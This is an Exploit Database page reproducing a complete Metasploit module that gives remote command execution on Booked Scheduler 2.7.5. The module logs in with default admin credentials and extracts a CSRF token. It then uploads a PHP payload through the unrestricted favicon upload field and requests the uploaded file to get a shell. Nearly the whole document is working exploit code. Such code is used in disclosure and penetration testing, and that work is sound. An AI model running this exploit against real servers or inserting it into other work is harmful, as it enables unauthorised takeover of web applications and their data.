Booked Scheduler 2.7.5 – Remote Command Execution (Metasploit)

• Exploit Database
• 13 阅读

• 作者： AkkuS
  日期： 2019-03-04
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/46486/

• ## 
  # This module requires Metasploit: http://metasploit.com/download 
  # Current source: https://github.com/rapid7/metasploit-framework 
  ## 
   
  class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking 
   
  include Msf::Exploit::Remote::HttpClient 
   
  def initialize 
  super( 
  'Name' => 'Booked Scheduler v2.7.5 - Remote Command Execution', 
  'Description'=> %q{ 
  This module exploits a file upload vulnerability Booked 2.7.5. 
  In the "Look and Feel" section of the management panel, you can modify the Logo-Favico-CSS files.
  Upload sections has file extension control except favicon part.
  You can upload the file with the extension you want through the Favicon field.
  The file you upload is written to the main directory of the site under the name "custom-favicon". 
  After upload the php payload to the main directory, Exploit executes payload and receives shell.
  }, 
  'Author' => [ 
  'AkkuS <Özkan Mustafa Akkuş>', # Vulnerability Discovery, PoC & Msf Module 
  ], 
  'License'=> MSF_LICENSE, 
  'References' => 
  [
  ['URL', 'https://pentest.com.tr/exploits/Booked-2-7-5-Remote-Command-Execution-Metasploit.html'],
  ], 
  'Platform' => ['php'], 
  'Arch' => ARCH_PHP, 
  'Targets'=> 
  [ 
  ['Booked Scheduler v2.7.5', {}] 
  ], 
  'DisclosureDate' => '01 March 2019', 
  'Privileged' => false, 
  'DefaultTarget' => 0 
  ) 
   
  register_options( 
  [ 
  OptBool.new('SSL', [true, 'Use SSL', false]),
  OptString.new('TARGETURI', [true, 'The base path to Booked', '/']), 
  OptString.new('USER', [true, 'User to login with', 'admin']), 
  OptString.new('PASS', [true, 'Password to login with', 'admin']), 
  ], self.class) 
  end 
  ##
  # Check Exploit Vulnerable
  ##
  def check
  res = send_request_cgi({ 
  'method' => 'GET',
  'uri'=> normalize_uri(target_uri, "/Web/index.php")
  })
  
   if res and res.code == 200 and res.body =~ /v2.7.5/
  return Exploit::CheckCode::Vulnerable
  else
  return Exploit::CheckCode::Safe
  end
  return res 
  end
  ##
  # Exploit Portion
  ##
  def exploit 
  res = send_request_cgi({ 
  'method' => 'POST', 
  'uri'=> normalize_uri(target_uri, "/Web/index.php"), 
  'vars_post' => { 
  "email" => datastore['USER'], 
  "password" => datastore['PASS'],
  "captcha" => "",
  "resume" => "",
  "language" => "en_us",
  "login" => "submit" 
   
  } 
  })
  
   if res and res.code == 302
  print_status("Successful redirection to admin dashboard.")
  else
  return res
  end
   
  get_cookie = res.get_cookies 
  cookie = get_cookie 
  ##
  # Login Access Control
  ##
  control = send_request_cgi({ 
  'method' => 'GET', 
  'cookie' => cookie, 
  'uri'=> normalize_uri(target_uri, "/Web/dashboard.php")
  })
  
  html = control.body
  if html =~ /Dashboard/
  print_good("Login successfuly")
  else
  print_status("User information is incorrect. Login failed")
  exit 0
  end 
  ##
  # Reading CSRF Token
  ##
  csrf = send_request_cgi({ 
  'method' => 'GET', 
  'cookie' => cookie, 
  'uri'=> normalize_uri(target_uri, "/Web/admin/manage_theme.php")
  })
  
  html = control.body
  if html =~ /Look and Feel/
  token = csrf.body.split('CSRF_TOKEN" value=')[1].split(";")[0].split('/')[0].split('"')[1]
  print_status("CSRF Token = #{token}")
  else
  print_status("User information is incorrect. Login failed")
  exit 0
  end 
  ##
  # Loading phase of the vulnerable file
  ##
  boundary = Rex::Text.rand_text_alphanumeric(29)
  
  data2 = "-----------------------------{boundary}"
  data2 << "\r\nContent-Disposition: form-data; name=\"LOGO_FILE\"\r\n\r\n\r\n"
  data2 << "-----------------------------{boundary}"
  data2 << "\r\nContent-Disposition: form-data; name=\"FAVICON_FILE\"; filename=\"akkus.php\""
  data2 << "\r\nContent-Type: text/html\r\n\r\n"
  data2 << payload.encoded
  data2 << "\n\r\n-----------------------------{boundary}"
  data2 << "\r\nContent-Disposition: form-data; name=\"CSS_FILE\"\r\n\r\n\r\n"
  data2 << "-----------------------------{boundary}"
  data2 << "\r\nContent-Disposition: form-data; name=\"CSRF_TOKEN\"\r\n\r\n"
  data2 << "#{token}"
  data2 << "\r\n-----------------------------{boundary}--\r\n"
  
  res = send_request_raw(
  {
  'method' => "POST",
  'uri' => normalize_uri(target_uri, "/Web/admin/manage_theme.php?action=update"),
  'data' => data2,
  'headers' =>
  {
  'Content-Type' => 'multipart/form-data; boundary=---------------------------{boundary}',
  },
  'cookie'=> cookie
  })
  
  if res and res.code == 200
  print_good "Payload was successfully uploaded."
  else
  print_error "Upload failed."
  return
  end 
  ##
  # Command execution and shell retrieval
  ##
  print_status("Attempting to execute the payload...")
  
  command = payload.encoded
  
  res = send_request_cgi(
  {
  'uri' => normalize_uri(target_uri, "/Web/custom-favicon.php"),
  'cookie'=> cookie
  }, 25)
  
  
  if res and res.code == 200
  print_good "Payload executed successfully"
  end
  end 
  end
  ##
  # End
  ##